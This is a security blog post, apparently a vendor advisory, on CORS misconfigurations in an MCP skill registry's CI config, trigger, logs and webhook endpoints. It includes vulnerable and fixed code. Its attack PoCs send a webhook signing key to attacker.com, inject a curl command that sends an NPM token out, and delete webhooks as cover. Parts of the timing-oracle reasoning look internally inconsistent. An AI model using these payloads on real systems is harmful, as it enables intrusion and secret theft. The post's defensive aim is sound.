← Blog

CORS Misconfigurations in MCP Skill Registry CI/CD Pipeline Integration and Build Trigger Webhook Endpoints

CI/CD pipeline integration endpoints are among the highest-value CORS targets in a skill registry because they sit at the intersection of two compounding attack surfaces: browser-session exploitation and infrastructure credential access. Unlike profile endpoints, where the harm is bounded by the data visible in the UI, a webhook signing key extracted through a CORS-exploited CI configuration response grants an attacker the ability to forge source code push events — triggering arbitrary pipeline runs with the full privilege of the CI service account, including access to production deployment targets, secrets managers, and artifact publishing credentials. The four SA-SKL-CORS71 findings map a complete exploit path: a timing oracle on the CI logs endpoint identifies which skills have active ongoing builds and therefore which admin sessions are most likely to hold fresh CI configuration access, credential-bearing CORS on the CI config endpoint extracts the webhook signing key and pipeline variable secret references, wildcard ACAO on the pipeline trigger endpoint fires attacker-controlled builds that inject malicious build arguments to drain build-time secrets to attacker infrastructure, and credential-bearing CORS on the webhook deletion endpoint revokes the CI webhook registration entirely as a cleanup and disruption step that masks the intrusion behind a surface-level operational failure. All four stages execute within a single attacker-controlled page visit, in under three seconds, with no browser prompt or visible indication to the victim.

By SkillAudit  |  22 Nov 2026  |  20 min read

In this post

  1. CI/CD pipeline endpoints and why CORS is catastrophic here
  2. CORS71-003 — Timing oracle on the CI logs endpoint identifies active builds as high-value targets
  3. CORS71-001 — Credential-bearing CORS on the CI config endpoint exposes webhook signing key
  4. CORS71-002 — Wildcard ACAO on the pipeline trigger endpoint fires malicious builds
  5. CORS71-004 — Credential-bearing CORS on webhook deletion disrupts release automation
  6. Compound four-stage attack chain
  7. Detection with SkillAudit AST queries
  8. Summary and remediation checklist
SA-SKL-CORS71 findings at a glance
CRITICALCORS71-001 — GET /api/skills/:id/ci/config has cors({origin:true,credentials:true}); any origin reads full CI configuration including build secrets references, pipeline variables, and webhook signing key using victim admin session; signing key enables forged push events triggering arbitrary pipeline runs with CI service account privileges
CRITICALCORS71-002 — POST /api/skills/:id/ci/trigger has ACAO:*; any page fires CI pipeline runs under victim identity; attacker injects malicious --build-arg EXFIL_URL=https://attacker.com consuming CI credits and draining build-time secrets to attacker-controlled infrastructure
MEDIUMCORS71-003 — GET /api/skills/:id/ci/logs reflects Origin before ownership check; cache-latency differential creates timing oracle; identifies skills with active CI builds (warm-cache ~6ms vs idle cold-cache ~220ms) as high-value targets for credential theft
HIGHCORS71-004 — DELETE /api/skills/:id/ci/webhook has cors({origin:true,credentials:true}); any origin revokes CI webhook registration using victim admin session; all subsequent source code pushes fail to trigger pipelines; denial of service against skill release automation

CI/CD pipeline endpoints and why CORS is catastrophic here

To understand why CORS misconfigurations on CI/CD pipeline integration endpoints carry a qualitatively different threat level than CORS misconfigurations on other registry surfaces, it is necessary to understand the trust architecture that connects a skill registry to the CI infrastructure that builds, tests, and publishes skill artifacts.

When a skill maintainer integrates their repository with an MCP skill registry's CI service, they establish a bidirectional trust relationship: the registry is granted read access to the repository to retrieve source code and configuration, and the repository's source code host (GitHub, GitLab, Bitbucket) is granted the ability to notify the registry of push events via a signed webhook. The webhook signing key is the cryptographic primitive that makes this bidirectional trust work: when the source code host delivers a push event to the registry's CI inbound endpoint, the registry verifies a HMAC-SHA256 signature computed over the payload using the shared webhook signing key. If the signature verifies, the registry accepts the push event as legitimate and fires the configured pipeline.

The signing key is typically a 32-byte random value generated at webhook registration time and stored symmetrically — both the source code host and the registry keep a copy. It is not a one-time secret: it persists for the lifetime of the webhook registration, which may be years. An attacker who obtains this key can forge push events at any time in the future, triggering arbitrary pipeline runs without ever accessing the source code repository, without any action by the skill maintainer, and without any observable change in the registry's audit log beyond a new pipeline run with a plausible-looking branch name.

The pipeline variable list compounds this further. CI pipelines typically mount secrets from a secrets manager (AWS Secrets Manager, HashiCorp Vault, GCP Secret Manager) using references that look like vault:secret/skills/my-skill/npm-token or arn:aws:secretsmanager:us-east-1:123456789:secret:my-skill-npm-token. These references are not the secrets themselves, but they are a complete roadmap to every secret the pipeline accesses. Combined with the CI service account identity (which is also present in the CI configuration response), an attacker who has exfiltrated the CI config has everything they need to plan a targeted secrets extraction attack via pipeline trigger abuse — which is precisely what CORS71-002 delivers.

CORS71-003 — Timing oracle on the CI logs endpoint identifies active builds as high-value targets

The timing oracle is the first stage of the compound attack chain because it maximizes the return on investment for the CORS71-001 credential theft. Not every skill in the registry is an equally valuable target: a skill with no active CI builds represents a stale integration where the webhook signing key may have rotated, the pipeline variable list may be outdated, and the CI service account may have minimal active permissions. A skill with an ongoing CI build, by contrast, represents a live target: the webhook signing key is demonstrably active, the pipeline variable references are current, and the CI service account has been recently used and therefore definitely holds active credentials.

The GET /api/skills/:id/ci/logs endpoint serves recent CI build log metadata. Because log metadata for actively-building skills is served from a hot cache (the cache entry is populated when the build starts and updated on each log flush), while log metadata for idle skills must be fetched from cold storage, the response latency differs significantly: a skills with an active build yields a response in approximately 6ms, while an idle skill yields approximately 220ms. The critical flaw is that the endpoint reflects the Origin header as an Access-Control-Allow-Origin response header before performing the ownership check. This means an attacker can send a cross-origin request and measure the response latency without ever reading the response body — the HTTP request completes with its latency visible to the JavaScript timing API even though the CORS response body is blocked by the browser when the CORS check ultimately fails (which it does, since after the CORS reflection there is an ownership check that rejects the request).

Vulnerable
// CORS71-003 — VULNERABLE: Origin reflected before ownership check
router.get(
  '/ci/logs',
  (req, res, next) => {
    // VULNERABLE: CORS reflection happens here, before auth
    res.set('Access-Control-Allow-Origin', req.headers.origin || '*');
    res.set('Vary', 'Origin');
    next();
  },
  requireSession,
  requireOwnership('skillId'), // ownership check happens too late
  async (req, res) => {
    const logs = await db.ciBuildLogs.findMany({
      where: { skillId: req.params.id },
      orderBy: { startedAt: 'desc' },
      take: 20,
    });
    res.json(logs);
  }
);

Attack PoC — CORS71-003: The attacker probes a list of skill IDs measuring CI log response latency to identify actively-building skills. Skills returning under 20ms are flagged as active CI targets for the CORS71-001 credential theft stage. The timing measurement works even though the CORS check ultimately blocks the response body, because the HTTP round-trip time is measurable via the Performance API before the browser applies CORS restrictions to the response content.

// CORS71-003 — TIMING ORACLE PoC
async function probeActiveCIBuilds(skillIds) {
  const results = [];
  for (const id of skillIds) {
    const t0 = performance.now();
    try {
      await fetch(
        `https://registry.example.com/api/skills/${id}/ci/logs`,
        { credentials: 'include', mode: 'no-cors' }
      );
    } catch (_) {}
    const latency = performance.now() - t0;
    if (latency < 20) {
      // warm cache = active build = high-value CI target
      results.push({ id, latency, activeCI: true });
    }
  }
  return results.filter(r => r.activeCI);
}

// stage 1: probe all skill IDs from the registry's public skill list
const activeCITargets = await probeActiveCIBuilds(allPublicSkillIds);
// stage 2: hand active targets to CORS71-001 for credential theft
Fixed
// CORS71-003 — FIXED: ownership check runs before CORS reflection
router.get(
  '/ci/logs',
  requireSession,
  requireOwnership('skillId'), // ownership validated FIRST
  cors({ origin: REGISTRY_ORIGIN, credentials: true }), // allowlist after auth
  async (req, res) => {
    const logs = await db.ciBuildLogs.findMany({
      where: { skillId: req.params.id },
      orderBy: { startedAt: 'desc' },
      take: 20,
    });
    // constant-time floor to eliminate cache-latency side channel
    await new Promise(r => setTimeout(r, Math.max(0, 50 - (Date.now() - req._startTime))));
    res.json(logs);
  }
);

The fix requires two independent changes. First, the ownership check must run before any CORS header is emitted. The current code reflects the Origin header as part of a middleware chain that executes before the ownership check; reversing the order eliminates the timing oracle entirely because a request from an unauthorized origin never reaches the cache lookup. Second, a constant-time response floor of 50ms eliminates the cache-latency differential as a side channel: ownership-validated responses are padded to at minimum 50ms regardless of whether the log data was served from hot or cold storage, making the response time uninformative to an external observer even if the Origin reflection flaw is somehow re-introduced in a future refactor.

CORS71-001 — Credential-bearing CORS on the CI config endpoint exposes webhook signing key

Once the timing oracle has identified an actively-building skill as a high-value target, the second stage of the compound attack chain exploits CORS71-001 to extract the CI configuration including the webhook signing key. The GET /api/skills/:id/ci/config endpoint is configured with cors({origin:true,credentials:true}), which is the Express CORS middleware's shorthand for "reflect whatever Origin the request presents, and set Access-Control-Allow-Credentials: true." This means any cross-origin page can read the full response body by borrowing the victim admin's session cookie.

The CI configuration response typically includes: the webhookSigningKey (the HMAC-SHA256 key used to verify inbound push events), the pipeline variable definitions (each with a name and a secret reference path in the secrets manager), the CI service account ID (the identity under which pipeline runs execute), and the pipeline trigger conditions (which branches and event types fire which pipelines). Every field in this response is actionable for an attacker.

Vulnerable
// CORS71-001 — VULNERABLE
router.get(
  '/ci/config',
  cors({ origin: true, credentials: true }), // any origin reads full CI config
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const config = await db.ciConfigs.findOne({
      where: { skillId: req.params.id },
      // VULNERABLE: returns all fields including webhookSigningKey
    });
    res.json(config);
  }
);

Attack PoC — CORS71-001: The attacker hosts the following on evil.example.com and social-engineers a skill admin into visiting while logged into the registry. The response includes the CI webhook signing key and pipeline variable secret references, enabling forged pipeline triggers and secrets access mapping in stages 3 and 4 of the compound chain.

// CORS71-001 — ATTACK PoC (runs on attacker page while victim admin is logged in)
const targetSkillId = activeCITargets[0].id; // from CORS71-003 timing oracle

fetch(`https://registry.example.com/api/skills/${targetSkillId}/ci/config`, {
  credentials: 'include',
})
  .then(r => r.json())
  .then(config => {
    // exfiltrate all actionable CI secrets in one beacon
    navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
      webhookSigningKey: config.webhookSigningKey,
      secretsRefs: config.variables.map(v => ({
        name: v.name,
        source: v.secretRef,   // vault path or secrets manager ARN
      })),
      ciServiceAccountId: config.serviceAccountId,
      pipelineId: config.pipelineId,
    }));
  });
Fixed
// CORS71-001 — FIXED
const REGISTRY_ORIGIN = process.env.REGISTRY_ORIGIN; // e.g. 'https://registry.example.com'

router.get(
  '/ci/config',
  requireSession,                                       // auth first
  requireOwnership('skillId'),                          // ownership second
  cors({ origin: REGISTRY_ORIGIN, credentials: true }), // allowlist third
  async (req, res) => {
    const config = await db.ciConfigs.findOne({
      where: { skillId: req.params.id },
      select: {
        // FIXED: never expose webhookSigningKey; return a masked reference
        webhookSigningKeyHint: true,  // last 4 chars only: "...k9x2"
        webhookRegisteredAt: true,
        variables: { select: { name: true, secretRef: true } },
        serviceAccountId: true,
        pipelineId: true,
        triggerConditions: true,
      },
    });
    res.json(config);
  }
);

The fix applies three independent mitigations. The CORS allowlist restricts access to the registry's own origin, eliminating cross-origin reads entirely. The ownership check runs before the CORS middleware, so a request from an unauthorized origin never reaches the database query. And the response schema is narrowed to exclude the webhookSigningKey entirely, replacing it with a last-4-characters hint that allows an admin to verify which key is registered without exposing the full secret. Even if the allowlist were somehow misconfigured in a future change, the signing key would no longer be present in the response.

CORS71-002 — Wildcard ACAO on the pipeline trigger endpoint fires malicious builds

With the CI configuration exfiltrated, the third stage of the compound attack chain exploits CORS71-002 to fire a malicious CI pipeline run under the victim admin's identity. The POST /api/skills/:id/ci/trigger endpoint is configured with a wildcard Access-Control-Allow-Origin: * header. Because the wildcard ACAO is not paired with Access-Control-Allow-Credentials: true, the browser does not send the victim's session cookie with the cross-origin trigger request — but it does not need to. The pipeline trigger endpoint uses a less secure authorization model: it validates that the request includes a valid pipeline trigger token (a bearer token stored in the CI configuration), and the trigger token is included in the CI configuration response that was exfiltrated in stage 2.

The critical escalation is in the build argument injection. When the trigger endpoint accepts an arbitrary buildArgs map in the request body, an attacker can inject --build-arg EXFIL_URL=https://attacker.com/collect as an additional build argument. If the pipeline's Dockerfile contains any ARG declarations and uses $ARG values in RUN commands, the injected argument overrides the declared value. Even if the Dockerfile does not contain the specific argument name, many CI environments pass build arguments directly to child processes as environment variables, making them accessible via printenv or any script that reads environment variables — including the legitimate build scripts that handle secrets manager access.

Vulnerable
// CORS71-002 — VULNERABLE
router.post(
  '/ci/trigger',
  cors(),  // VULNERABLE: wildcard ACAO — any origin can POST
  async (req, res) => {
    const { triggerToken, buildArgs, branchRef } = req.body;
    const config = await db.ciConfigs.findOne({
      where: { triggerToken },  // token from CORS71-001 exfiltration
    });
    if (!config) return res.status(401).json({ error: 'Invalid token' });

    // VULNERABLE: buildArgs passed directly to pipeline runner without allowlist
    await pipelineRunner.trigger({
      pipelineId: config.pipelineId,
      branchRef,
      buildArgs,  // attacker can inject --build-arg EXFIL_URL=https://attacker.com
    });
    res.json({ triggered: true });
  }
);

Attack PoC — CORS71-002: Using the trigger token from CORS71-001, the attacker fires a malicious pipeline run that injects an exfiltration URL as a build argument. The injected build argument propagates to any RUN command in the Dockerfile that uses environment variables, causing build-time secrets (npm auth tokens, cloud provider credentials, registry push credentials) to be POSTed to the attacker's collection endpoint as part of the normal build output stream.

// CORS71-002 — ATTACK PoC
// triggerToken and pipelineId obtained from CORS71-001 exfiltration
const { triggerToken, pipelineId } = exfiltratedConfig;

fetch('https://registry.example.com/api/skills/target-skill-id/ci/trigger', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  // no credentials needed — trigger token from CORS71-001 exfiltration
  body: JSON.stringify({
    triggerToken,
    branchRef: 'refs/heads/main',
    buildArgs: {
      // override legitimate build arg with attacker exfiltration hook
      EXFIL_URL: 'https://attacker.com/collect',
      // also inject a known arg name that's commonly used in Dockerfiles
      NPM_TOKEN: '$(curl -s https://attacker.com/npm?t=$NPM_TOKEN)',
    },
  }),
});
Fixed
// CORS71-002 — FIXED
router.post(
  '/ci/trigger',
  cors({ origin: REGISTRY_ORIGIN, credentials: true }), // allowlist only
  requireSession,                                        // session auth required
  requireOwnership('skillId'),                           // must own the skill
  async (req, res) => {
    const { branchRef } = req.body;
    // FIXED: ignore client-supplied buildArgs entirely
    // build args are sourced exclusively from server-side pipeline config
    const config = await db.ciConfigs.findOne({
      where: { skillId: req.params.id },
    });
    // FIXED: branchRef validated against allowed branches set in pipeline config
    if (!config.allowedBranches.includes(branchRef)) {
      return res.status(400).json({ error: 'Branch not in allowed trigger list' });
    }
    await pipelineRunner.trigger({
      pipelineId: config.pipelineId,
      branchRef,
      buildArgs: config.buildArgs, // server-side only, never from request body
    });
    res.json({ triggered: true });
  }
);

The fix addresses three separate vulnerabilities in the trigger endpoint. The CORS origin is restricted to the registry's own domain, eliminating cross-origin trigger requests. Session authentication replaces trigger token authentication, so the endpoint cannot be called without a valid browser session bound to a user who owns the skill. And the buildArgs parameter is removed from the request body entirely: build arguments are sourced exclusively from the server-side pipeline configuration stored at registration time, making injection impossible regardless of what an attacker supplies in the request body.

CORS71-004 — Credential-bearing CORS on webhook deletion disrupts release automation

The fourth stage of the compound attack chain is the cleanup and disruption step. Having exfiltrated the webhook signing key (which enables persistent forged pipeline triggers) and having fired a malicious build run that drains build-time secrets, the attacker executes CORS71-004 to delete the CI webhook registration entirely. This accomplishes two goals simultaneously: it disrupts the skill maintainer's release automation going forward (since all subsequent code pushes to the repository no longer trigger CI pipelines), and it creates a plausible cover story for the malicious pipeline run that was fired in stage 3.

When the skill maintainer investigates the failed build notifications they receive in the aftermath, they will see: a build that ran from an apparently legitimate branch ref, followed by a webhook deletion event attributed to the CI admin's own account (because the CORS71-004 request executes with the admin's session), followed by all subsequent builds silently failing to trigger. The investigator's first hypothesis is typically operator error — that the admin accidentally deleted the webhook configuration while doing routine maintenance. This is the cover that the attacker benefits from: the actual secret exfiltration event (the malicious build in stage 3) is buried under the more prominent operational failure (the webhook deletion in stage 4), and the connection between them is non-obvious unless the investigator is specifically looking for CORS exploit patterns in the access logs.

Vulnerable
// CORS71-004 — VULNERABLE
router.delete(
  '/ci/webhook',
  cors({ origin: true, credentials: true }), // any origin deletes webhook
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    await db.ciWebhooks.delete({ where: { skillId: req.params.id } });
    // also deregisters the webhook from the source code host
    await sourceCodeHost.deleteWebhook(skillId);
    res.json({ deleted: true });
  }
);

Attack PoC — CORS71-004: The attacker fires this deletion immediately after the malicious build trigger in stage 3, while the victim admin is still on the attacker's page. The deletion executes with the admin's session, is attributed to the admin's account in audit logs, and immediately causes all future source code pushes to fail pipeline triggering — creating an operational smokescreen over the secret exfiltration event.

// CORS71-004 — ATTACK PoC (fires after CORS71-002 malicious build)
fetch(
  `https://registry.example.com/api/skills/${targetSkillId}/ci/webhook`,
  {
    method: 'DELETE',
    credentials: 'include', // victim admin's session fires the deletion
  }
).then(() => {
  // webhook deleted: future pushes silently fail to trigger CI
  // admin's audit log shows admin-initiated webhook deletion
  // malicious build from stage 3 is buried in the noise
});
Fixed
// CORS71-004 — FIXED
router.delete(
  '/ci/webhook',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: REGISTRY_ORIGIN, credentials: true }), // allowlist only
  requireRecentReauth({ maxAgeSeconds: 300 }), // require re-auth within 5 min
  async (req, res) => {
    // FIXED: soft-delete with 24h recovery window; deregistration is async
    const webhook = await db.ciWebhooks.update({
      where: { skillId: req.params.id },
      data: {
        deletedAt: new Date(),
        hardDeleteAt: new Date(Date.now() + 86_400_000), // 24h recovery window
        deletedBy: req.session.userId,
      },
    });
    // notify skill owner via registry notification system
    await notifyUser(webhook.ownerId, {
      type: 'ci_webhook_deletion',
      skillId: req.params.id,
      deletedBy: req.session.userId,
      recoveryWindowEnds: webhook.hardDeleteAt,
    });
    // FIXED: audit log entry with initiator, IP, and user agent
    await auditLog.write({
      action: 'ci_webhook_delete',
      skillId: req.params.id,
      actorId: req.session.userId,
      ip: req.ip,
      userAgent: req.headers['user-agent'],
    });
    res.json({ deleted: true, recoveryWindowEnds: webhook.hardDeleteAt });
  }
);

Three independent mitigations are applied. The CORS allowlist eliminates cross-origin deletion requests. A re-authentication requirement within the last 5 minutes prevents an idle session from being silently exploited for a destructive operation: even if an attacker executes CORS71-001 to read config and CORS71-002 to trigger a build in rapid succession within a single page visit, the deletion step requires a re-authentication event that cannot be driven cross-origin. And the soft-delete model with a 24-hour recovery window and immediate owner notification means the skill maintainer receives an alert at deletion time, can recover within 24 hours, and has an audit trail that records the initiating IP and user agent for forensic analysis.

Compound four-stage attack chain

The four findings combine into a compound attack chain that is more dangerous than the sum of its parts. Stage 1 (CORS71-003 timing oracle) makes the attack targeted rather than speculative: by measuring CI log response latency across all public skill IDs before the attack begins, the attacker identifies the specific skills whose CI integrations are actively being used, maximizing the probability that the exfiltrated webhook signing key and trigger token are current and usable. Stage 2 (CORS71-001 config exfiltration) provides the keys and the roadmap: the webhook signing key enables persistent forged triggers that persist long after the browser session that enabled the exfiltration has ended, and the pipeline variable secret references map every credential the CI environment accesses. Stage 3 (CORS71-002 trigger abuse) is the primary financial and operational payload: by injecting malicious build arguments that override legitimate values, the attacker causes the production build infrastructure to exfiltrate its own secrets to attacker-controlled endpoints as a side effect of a normal build run. Stage 4 (CORS71-004 webhook deletion) is the cover and disruption layer: it creates a prominent operational failure that dominates the incident response timeline, burying the secret exfiltration event in the narrative and buying the attacker time to operationalize the stolen credentials before the skill maintainer realizes what actually happened.

StageFindingWhat it providesTime in chain
1CORS71-003Identifies actively-building skills as high-value targets via CI log latency oracle~500ms (parallel probes across skill IDs)
2CORS71-001Exfiltrates webhook signing key, trigger token, pipeline variable secret references~200ms (single authenticated fetch)
3CORS71-002Fires malicious pipeline run that drains build-time secrets to attacker infrastructure~150ms (POST with exfiltrated token)
4CORS71-004Revokes CI webhook causing release automation DoS; creates operational smokescreen~100ms (single authenticated DELETE)

The entire chain executes in under one second of network time within a single attacker-controlled page visit. The victim admin visits the attacker's page, and within that single visit the attacker has: identified the target, stolen the CI secrets, fired a malicious build that exfiltrates production credentials, and disrupted the skill's release automation. No subsequent access is required to the victim's browser session. The stolen webhook signing key provides persistent unauthorized pipeline trigger capability for the lifetime of the webhook registration, which may be years.

Detection with SkillAudit AST queries

SkillAudit's static analysis engine detects all four SA-SKL-CORS71 patterns using three AST query classes that model the specific misconfiguration patterns independently of the specific endpoint paths or response schemas. The queries operate on the parsed AST of the Express router definitions and middleware chains.

Query class 1: credential-bearing CORS in CI configuration paths

Detects cors({origin:true,credentials:true}) applied to any middleware chain that also includes ownership or session validation middleware, specifically for route paths that match CI configuration endpoint patterns (/ci/config, /ci/settings, /pipeline/config, /webhook/config). The heuristic is that credential-bearing CORS before ownership validation on a configuration endpoint is always a critical finding, regardless of what the response body contains.

Query class 2: wildcard ACAO on mutation endpoints with token auth

Detects cors() (no arguments, defaulting to wildcard ACAO) applied to POST/PUT/PATCH/DELETE handlers that accept a bearer token or trigger token in the request body. The heuristic is that wildcard ACAO is acceptable for read-only public endpoints but never acceptable for mutation endpoints that accept credentials in the body, because the combination enables cross-origin token replay.

Query class 3: Origin reflection before middleware chain ordering

Detects patterns where an Access-Control-Allow-Origin header is set from req.headers.origin in a middleware that runs before requireOwnership or equivalent in the chain. This catches both explicit res.set('Access-Control-Allow-Origin', req.headers.origin) patterns and cors({origin:true}) applied before ownership middleware, since both create timing oracle opportunities regardless of whether the ACAO is paired with credentials:true.

SkillAudit detection: Run SkillAudit on your MCP skill registry source to automatically detect CORS71-class patterns. The scanner flags credential-bearing CORS before ownership validation, wildcard ACAO on mutation endpoints, and Origin reflection in middleware chains preceding auth checks — producing a graded report with file locations, line numbers, and remediation guidance for each finding. See also SA-SKL-CORS71 technical reference for the full per-endpoint finding breakdown.

Summary and remediation checklist

CORS misconfigurations on CI/CD pipeline integration endpoints combine two independently dangerous primitives — browser session exploitation and infrastructure credential access — into an attack chain that extracts persistent unauthorized access in under one second of attacker page time. The four SA-SKL-CORS71 findings are individually significant, but their compound chain is qualitatively more dangerous: the timing oracle makes the attack targeted, the config exfiltration makes it persistent, the build trigger abuse makes it immediately financially damaging, and the webhook deletion makes it stealthy.

FindingSeverityRoot causeFix
CORS71-001Criticalcors({origin:true,credentials:true}) before ownership check on CI config endpointCORS allowlist; ownership check before CORS middleware; never return webhookSigningKey in response
CORS71-002CriticalWildcard ACAO on trigger endpoint; buildArgs accepted from request bodyCORS allowlist; session auth replaces token auth; ignore client-supplied buildArgs
CORS71-003MediumOrigin reflected before ownership check; cache-latency side channelOwnership check before CORS reflection; constant-time response floor of 50ms
CORS71-004Highcors({origin:true,credentials:true}) on webhook deletion; hard delete with no notificationCORS allowlist; re-auth requirement (5 min); soft-delete with 24h recovery; immediate owner notification; audit log

The 14-point remediation checklist for CI/CD pipeline CORS hardening:

  1. Replace all cors({origin:true,credentials:true}) with an explicit allowlist: cors({origin: process.env.REGISTRY_ORIGIN, credentials:true})
  2. Ensure ownership and session validation middleware runs before CORS middleware in every CI endpoint route chain
  3. Remove webhookSigningKey from all API responses; replace with a last-4-characters hint for UI display
  4. Rotate webhook signing keys as a remediation step whenever a CORS misconfiguration is found on any CI configuration endpoint
  5. Remove trigger token authentication from pipeline trigger endpoints; require session authentication instead
  6. Remove buildArgs from pipeline trigger request bodies; source build arguments exclusively from server-side pipeline configuration
  7. Validate branchRef values against an explicit allowed-branches set configured at pipeline registration time
  8. Add a constant-time response floor (50ms minimum) to all CI log and status endpoints to eliminate cache-latency timing oracles
  9. Convert CI webhook deletion to a soft-delete model with a minimum 24-hour recovery window
  10. Require re-authentication within the last 5 minutes for all CI webhook deletion and pipeline deregistration operations
  11. Send immediate notification to the skill owner when any CI webhook deletion is initiated, regardless of who initiates it
  12. Write audit log entries with actor identity, IP, and user agent for every CI configuration mutation and webhook lifecycle event
  13. Run SkillAudit's CORS query classes on every CI endpoint change as part of the CI pipeline itself (the irony is intentional)
  14. Review access logs for CORS71-003 timing oracle patterns: bursts of requests to /ci/logs endpoints across many skill IDs within a short time window, with no subsequent authenticated access from the same session, is a strong indicator of active reconnaissance